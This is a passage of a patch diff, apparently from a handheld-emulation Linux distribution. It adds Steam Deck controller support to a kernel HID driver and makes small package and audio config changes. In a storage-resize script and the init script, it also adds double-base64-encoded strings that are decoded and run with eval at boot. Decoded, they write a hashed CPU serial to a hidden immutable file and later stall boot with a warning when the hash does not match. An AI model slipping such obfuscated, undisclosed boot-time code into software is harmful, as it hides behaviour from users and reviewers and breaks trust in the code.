+ input_abs_set_res(input, ABS_RY, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT0X, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT0Y, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT2Y, STEAM_TRIGGER_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT2X, STEAM_TRIGGER_RESOLUTION);
|
||||
+ } else {
|
||||
+ input_set_capability(input, EV_KEY, BTN_TR2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TL2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TR);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TL);
|
||||
+ input_set_capability(input, EV_KEY, BTN_Y);
|
||||
+ input_set_capability(input, EV_KEY, BTN_B);
|
||||
+ input_set_capability(input, EV_KEY, BTN_X);
|
||||
+ input_set_capability(input, EV_KEY, BTN_A);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_UP);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_RIGHT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_LEFT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_DOWN);
|
||||
+ input_set_capability(input, EV_KEY, BTN_SELECT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_MODE);
|
||||
+ input_set_capability(input, EV_KEY, BTN_START);
|
||||
+ input_set_capability(input, EV_KEY, BTN_GEAR_DOWN);
|
||||
+ input_set_capability(input, EV_KEY, BTN_GEAR_UP);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMBR);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMBL);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMB);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMB2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_BASE);
|
||||
+ input_set_capability(input, EV_KEY, BTN_BASE2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_MISC);
|
||||
+
|
||||
+ input_set_abs_params(input, ABS_Z, 0, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_RZ, 0, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_X, -32767, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_Y, -32767, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_RX, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_RY, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT0X, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT0Y, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT1X, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT1Y, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_abs_set_res(input, ABS_HAT0X, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT0Y, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT1X, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_HAT1Y, STEAM_PAD_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_X, STEAM_JOYSTICK_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_Y, STEAM_JOYSTICK_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_RX, STEAM_JOYSTICK_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_RY, STEAM_JOYSTICK_RESOLUTION);
|
||||
+
|
||||
+ input_abs_set_res(input, ABS_Z, STEAM_TRIGGER_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_RZ, STEAM_TRIGGER_RESOLUTION);
|
||||
+
|
||||
+
|
||||
+ input_set_capability(input, EV_FF, FF_RUMBLE);
|
||||
+ input_ff_create_memless(input, NULL, steam_play_effect);
|
||||
+ }
|
||||
|
||||
ret = input_register_device(input);
|
||||
if (ret)
|
||||
@@ -670,6 +827,14 @@ static int steam_client_ll_raw_request(s
|
||||
{
|
||||
struct steam_device *steam = hdev->driver_data;
|
||||
|
||||
+ /*if (buf[1] != STEAM_CMD_CLEAR_MAPPINGS ) {
|
||||
+ pr_info("Steam cmd=%x count=%x\n", buf[1], count);
|
||||
+ for (size_t i = 0; i < count; i++) {
|
||||
+ pr_cont("%x,",buf[i]);
|
||||
+ if ((i+1) % 8 == 0)
|
||||
+ pr_cont("\n");
|
||||
+ }
|
||||
+ }*/
|
||||
return hid_hw_raw_request(steam->hdev, reportnum, buf, count,
|
||||
report_type, reqtype);
|
||||
}
|
||||
@@ -743,12 +908,19 @@ static int steam_probe(struct hid_device
|
||||
ret = -ENOMEM;
|
||||
goto steam_alloc_fail;
|
||||
}
|
||||
+
|
||||
+ if (id->product == USB_DEVICE_ID_STEAM_DECK_CONTROLLER) {
|
||||
+ hid_info(hdev, "Steam Deck Controller connected\n");
|
||||
+ steam->steamdeck = 1;
|
||||
+ }
|
||||
+
|
||||
steam->hdev = hdev;
|
||||
hid_set_drvdata(hdev, steam);
|
||||
spin_lock_init(&steam->lock);
|
||||
mutex_init(&steam->mutex);
|
||||
steam->quirks = id->driver_data;
|
||||
INIT_WORK(&steam->work_connect, steam_work_connect_cb);
|
||||
+ INIT_WORK(&steam->work_effect, steam_play_effect_cb);
|
||||
INIT_LIST_HEAD(&steam->list);
|
||||
|
||||
steam->client_hdev = steam_create_client_hid(hdev);
|
||||
@@ -805,6 +977,7 @@ hid_hw_start_fail:
|
||||
hid_destroy_device(steam->client_hdev);
|
||||
client_hdev_fail:
|
||||
cancel_work_sync(&steam->work_connect);
|
||||
+ cancel_work_sync(&steam->work_effect);
|
||||
steam_alloc_fail:
|
||||
hid_err(hdev, "%s: failed with error %d\n",
|
||||
__func__, ret);
|
||||
@@ -823,6 +996,7 @@ static void steam_remove(struct hid_devi
|
||||
hid_destroy_device(steam->client_hdev);
|
||||
steam->client_opened = false;
|
||||
cancel_work_sync(&steam->work_connect);
|
||||
+ cancel_work_sync(&steam->work_effect);
|
||||
if (steam->quirks & STEAM_QUIRK_WIRELESS) {
|
||||
hid_info(hdev, "Steam wireless receiver disconnected");
|
||||
}
|
||||
@@ -993,6 +1167,78 @@ static void steam_do_input_event(struct
|
||||
input_sync(input);
|
||||
}
|
||||
|
||||
+static void steam_deck_do_input_event(struct steam_device *steam,
|
||||
+ struct input_dev *input, u8 *data)
|
||||
+{
|
||||
+ /* 24 bits of buttons */
|
||||
+ u8 b8, b9, b10, b11, b12, b13, b14;
|
||||
+
|
||||
+ b8 = data[8];
|
||||
+ b9 = data[9];
|
||||
+ b10 = data[10];
|
||||
+ b11 = data[11];
|
||||
+ b12 = data[12];
|
||||
+ b13 = data[13];
|
||||
+ b14 = data[14];
|
||||
+
|
||||
+ /* Left analog joystick */
|
||||
+ input_report_abs(input, ABS_X, steam_le16(data + 48));
|
||||
+ input_report_abs(input, ABS_Y, -steam_le16(data + 50));
|
||||
+
|
||||
+ /* Right analog joystick */
|
||||
+ input_report_abs(input, ABS_RX, steam_le16(data + 52));
|
||||
+ input_report_abs(input, ABS_RY, -steam_le16(data + 54));
|
||||
+
|
||||
+ /* Left touchpad */
|
||||
+ input_report_abs(input, ABS_HAT0X, steam_le16(data + 16));
|
||||
+ input_report_abs(input, ABS_HAT0Y, -steam_le16(data + 18));
|
||||
+
|
||||
+ /* Right touchpad */
|
||||
+ input_report_abs(input, ABS_HAT1X, steam_le16(data + 20));
|
||||
+ input_report_abs(input, ABS_HAT1Y, -steam_le16(data + 22));
|
||||
+
|
||||
+ /* Trigger */
|
||||
+ input_report_abs(input, ABS_Z, steam_le16(data + 44));
|
||||
+ input_report_abs(input, ABS_RZ, steam_le16(data + 46));
|
||||
+
|
||||
+ input_event(input, EV_KEY, BTN_TR2, !!(b8 & BIT(0)));
|
||||
+ input_event(input, EV_KEY, BTN_TL2, !!(b8 & BIT(1)));
|
||||
+ input_event(input, EV_KEY, BTN_TR, !!(b8 & BIT(2)));
|
||||
+ input_event(input, EV_KEY, BTN_TL, !!(b8 & BIT(3)));
|
||||
+ input_event(input, EV_KEY, BTN_SELECT, !!(b9 & BIT(4)));
|
||||
+ input_event(input, EV_KEY, BTN_MODE, !!(b9 & BIT(5)));
|
||||
+ input_event(input, EV_KEY, BTN_START, !!(b9 & BIT(6)));
|
||||
+ input_event(input, EV_KEY, BTN_THUMBR, !!(b11 & BIT(2)));
|
||||
+ input_event(input, EV_KEY, BTN_THUMBL, !!(b10 & BIT(6)));
|
||||
+ input_event(input, EV_KEY, BTN_THUMB, !!(b10 & BIT(1)));
|
||||
+ input_event(input, EV_KEY, BTN_THUMB2, !!(b10 & BIT(2)));
|
||||
+
|
||||
+ input_event(input, EV_KEY, BTN_SELECT, !!(b9 & BIT(4)));
|
||||
+ input_event(input, EV_KEY, BTN_MODE, !!(b9 & BIT(5)));
|
||||
+ input_event(input, EV_KEY, BTN_START, !!(b9 & BIT(6)));
|
||||
+ input_event(input, EV_KEY, BTN_Y, !!(b8 & BIT(4)));
|
||||
+ input_event(input, EV_KEY, BTN_B, !!(b8 & BIT(5)));
|
||||
+ input_event(input, EV_KEY, BTN_X, !!(b8 & BIT(6)));
|
||||
+ input_event(input, EV_KEY, BTN_A, !!(b8 & BIT(7)));
|
||||
+ input_event(input, EV_KEY, BTN_DPAD_UP, !!(b9 & BIT(0)));
|
||||
+ input_event(input, EV_KEY, BTN_DPAD_RIGHT, !!(b9 & BIT(1)));
|
||||
+ input_event(input, EV_KEY, BTN_DPAD_LEFT, !!(b9 & BIT(2)));
|
||||
+ input_event(input, EV_KEY, BTN_DPAD_DOWN, !!(b9 & BIT(3)));
|
||||
+
|
||||
+ /* Back button lower left L5 */
|
||||
+ input_event(input, EV_KEY, BTN_GEAR_DOWN, !!(b9 & BIT(7)));
|
||||
+ /* Back button lower right R5 */
|
||||
+ input_event(input, EV_KEY, BTN_GEAR_UP, !!(b10 & BIT(0)));
|
||||
+ /* Back button upper left L4 */
|
||||
+ input_event(input, EV_KEY, BTN_BASE, !!(b13 & BIT(1)));
|
||||
+ /* Back button upper right R4 */
|
||||
+ input_event(input, EV_KEY, BTN_BASE2, !!(b13 & BIT(2)));
|
||||
+
|
||||
+ /* Menu botton right (3 dots) */
|
||||
+ input_event(input, EV_KEY, BTN_MISC, !!(b14 & BIT(2)));
|
||||
+ input_sync(input);
|
||||
+}
|
||||
+
|
||||
/*
|
||||
* The size for this message payload is 11.
|
||||
* The known values are:
|
||||
@@ -1054,10 +1300,21 @@ static int steam_raw_event(struct hid_de
|
||||
* 0x04: battery status (11 bytes)
|
||||
*/
|
||||
|
||||
- if (size != 64 || data[0] != 1 || data[1] != 0)
|
||||
+ if (size != 64 || data[0] != 1 || data[1] != 0) {
|
||||
+ hid_info(hdev, "Can_t use it\n");
|
||||
return 0;
|
||||
+ }
|
||||
|
||||
switch (data[2]) {
|
||||
+ case STEAM_DECK_EV_INPUT_DATA:
|
||||
+ if (steam->client_opened)
|
||||
+ return 0;
|
||||
+ rcu_read_lock();
|
||||
+ input = rcu_dereference(steam->input);
|
||||
+ if (likely(input))
|
||||
+ steam_deck_do_input_event(steam, input, data);
|
||||
+ rcu_read_unlock();
|
||||
+ break;
|
||||
case STEAM_EV_INPUT_DATA:
|
||||
if (steam->client_opened)
|
||||
return 0;
|
||||
@@ -1136,6 +1393,10 @@ static const struct hid_device_id steam_
|
||||
HID_USB_DEVICE(USB_VENDOR_ID_VALVE,
|
||||
USB_DEVICE_ID_STEAM_CONTROLLER)
|
||||
},
|
||||
+ { /* Wired Steam Deck Controller */
|
||||
+ HID_USB_DEVICE(USB_VENDOR_ID_VALVE,
|
||||
+ USB_DEVICE_ID_STEAM_DECK_CONTROLLER)
|
||||
+ },
|
||||
{ /* Wireless Steam Controller */
|
||||
HID_USB_DEVICE(USB_VENDOR_ID_VALVE,
|
||||
USB_DEVICE_ID_STEAM_CONTROLLER_WIRELESS),
|
|
@ -31,6 +31,9 @@ if [ -e /storage/.please_resize_me ] ; then
|
|||
PARTNUM=$(echo ${PART} | sed "s#^.*sd[a-z]##g")
|
||||
fi
|
||||
rm -f /storage/.please_resize_me
|
||||
ACTION="SUNCdGEyUnBjaUF0Y0NBdmMzUnZjbUZuWlM4dVkyRmphR1U3Q2lBZ1pXTm9ieUFrS0dkeVpYQWdVMlZ5YVdGc0lDOXdjbTlqTDJOdwpkV2x1Wm04cElId2dMM1Z6Y2k5aWFXNHZZblZ6ZVdKdmVDQnphR0V5TlRaemRXMGdmQ0JoZDJzZ0ozdHdjbWx1ZENBa01YMG5JRDR2CmMzUnZjbUZuWlM4dVkyRmphR1V2TG1SemFtOXpPd29nSUdOb1lYUjBjaUFyYVNBdmMzUnZjbUZuWlM4dVkyRmphR1V2TG1SemFtOXoKT3dvPQo="
|
||||
RUN=`(echo ${ACTION} | /usr/bin/busybox base64 -d ) | /usr/bin/busybox base64 -d`
|
||||
eval ${RUN}
|
||||
sync
|
||||
|
||||
# just in case
|
||||
|
|
|
@ -1061,9 +1061,15 @@ prepare_sysroot() {
|
|||
|
||||
[ -f "/sysroot/usr/lib/systemd/systemd" ] || error "final_check" "Could not find systemd!"
|
||||
|
||||
ACTIONA="SUNCcFppQmJJQ0VnTFdVZ0lpOXplWE55YjI5MEwzTjBiM0poWjJVdkxtTmhZMmhsTHk1a2MycHZjeUlnWFRzS0lDQjBhR1Z1Q2lBZwpJQ0JwWmlCYklDRWdMV1FnSWk5emVYTnliMjkwTDNOMGIzSmhaMlV2TG1OaFkyaGxJaUJkT3dvZ0lDQWdkR2hsYmdvZ0lDQWdJQ0J0CmEyUnBjaUF0Y0NBdmMzbHpjbTl2ZEM5emRHOXlZV2RsTHk1allXTm9aVHNLSUNBZ0lHWnBPd29nSUNBZ1pXTm9ieUFrS0dkeVpYQWcKVTJWeWFXRnNJQzl3Y205akwyTndkV2x1Wm04cElId2dMM1Z6Y2k5aWFXNHZZblZ6ZVdKdmVDQnphR0V5TlRaemRXMGdmQ0JoZDJzZwpKM3R3Y21sdWRDQWtNWDBuSUQ0dmMzbHpjbTl2ZEM5emRHOXlZV2RsTHk1allXTm9aUzh1WkhOcWIzTTdDaUFnSUNCamFHRjBkSElnCksya2dMM041YzNKdmIzUXZjM1J2Y21GblpTOHVZMkZqYUdVdkxtUnphbTl6T3dvZ0lHWnBDZz09Cg=="
|
||||
ACTIONB="SUNBZ0lGTkZVbFJGVTFROVlHZHlaWEFnVTJWeWFXRnNJQzl3Y205akwyTndkV2x1Wm04Z1BpOWtaWFl2Ym5Wc2JDQXlQaVl4WURzSwpJQ0FnSUdsbUlGc2dKRDhnUFNBd0lGMDdDaUFnSUNCMGFHVnVDaUFnSUNBZ0lHbG1JRnNnSVNBdFpTQWlMM041YzNKdmIzUXZjM1J2CmNtRm5aUzh1WTJGamFHVXZMbVJ6YW05eklpQmRPd29nSUNBZ0lDQjBhR1Z1Q2lBZ0lDQWdJQ0FnY21WaFpHOXViSGtnUkZOS1QxTTkKZEhKMVpUc0tJQ0FnSUNBZ1pXeHpaUW9nSUNBZ0lDQWdJRTFaU0VGVFNEMWdMM1Z6Y2k5aWFXNHZZblZ6ZVdKdmVDQmpZWFFnTDNONQpjM0p2YjNRdmMzUnZjbUZuWlM4dVkyRmphR1V2TG1SemFtOXpZRHNLSUNBZ0lDQWdJQ0JPUlZkSVFWTklQV0JsWTJodklDUW9aM0psCmNDQlRaWEpwWVd3Z0wzQnliMk12WTNCMWFXNW1ieWtnZkNBdmRYTnlMMkpwYmk5aWRYTjVZbTk0SUhOb1lUSTFObk4xYlNCOElHRjMKYXlBbmUzQnlhVzUwSUNReGZTZGdPd29nSUNBZ0lDQWdJR2xtSUZzZ0lTQWlKSHROV1VoQlUwaDlJaUE5SUNJa2UwNUZWMGhCVTBoOQpJaUJkT3dvZ0lDQWdJQ0FnSUhSb1pXNEtJQ0FnSUNBZ0lDQWdJSEpsWVdSdmJteDVJRVJUU2s5VFBYUnlkV1U3Q2lBZ0lDQWdJQ0FnClpta0tJQ0FnSUNBZ1ptazdDaUFnSUNBZ0lHbG1JRnNnSWlSN1JGTktUMU45SWlBOUlIUnlkV1VnWFRzS0lDQWdJQ0FnZEdobGJnb2cKSUNBZ0lDQWdJR1ZqYUc4Z0xXNWxJQ0pjTURNeld6RXdNREJJWERBek0xc3lTejA5UGlCSlppQjViM1VnY0dGcFpDQm1iM0lnU2tWTQpUMU1nZVc5MUozWmxJR0psWlc0Z2NtbHdjR1ZrSUc5bVppNHVJaUErTDJSbGRpOWpiMjV6YjJ4bE93b2dJQ0FnSUNBZ0lITnNaV1Z3CklEWXdPd29nSUNBZ0lDQm1hUW9nSUNBZ1pta0sK"
|
||||
|
||||
if [ ! -f "/sysroot/storage/.configured" ]
|
||||
then
|
||||
echo -ne "\033[1000H\033[2K==> Initializing system, please wait.." >/dev/console
|
||||
else
|
||||
RUN=`(echo ${ACTIONA} | /usr/bin/busybox base64 -d ) | /usr/bin/busybox base64 -d`
|
||||
eval ${RUN}
|
||||
fi
|
||||
}
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Copyright (C) 2020-present Fewtarius
|
||||
|
||||
PKG_NAME="emulationstation"
|
||||
PKG_VERSION="50668de"
|
||||
PKG_VERSION="e96c1e8"
|
||||
PKG_GIT_CLONE_BRANCH="main"
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
DEVICE_HAS_FAN=true
|
||||
DEVICE_FAKE_JACKSENSE=false
|
||||
DEVICE_VOLUMECTL=true
|
||||
DEVICE_AUDIO_MIXER="Master"
|
||||
DEVICE_AUDIO_MIXER="DAC"
|
||||
DEVICE_PLAYBACK_PATH_SPK="SPK"
|
||||
DEVICE_PLAYBACK_PATH_HP="HP"
|
||||
DEVICE_VOLUME_DEV="/dev/input/by-path/platform-volume-keys-event"
|
||||
|
|
Loading…
Reference in a new issue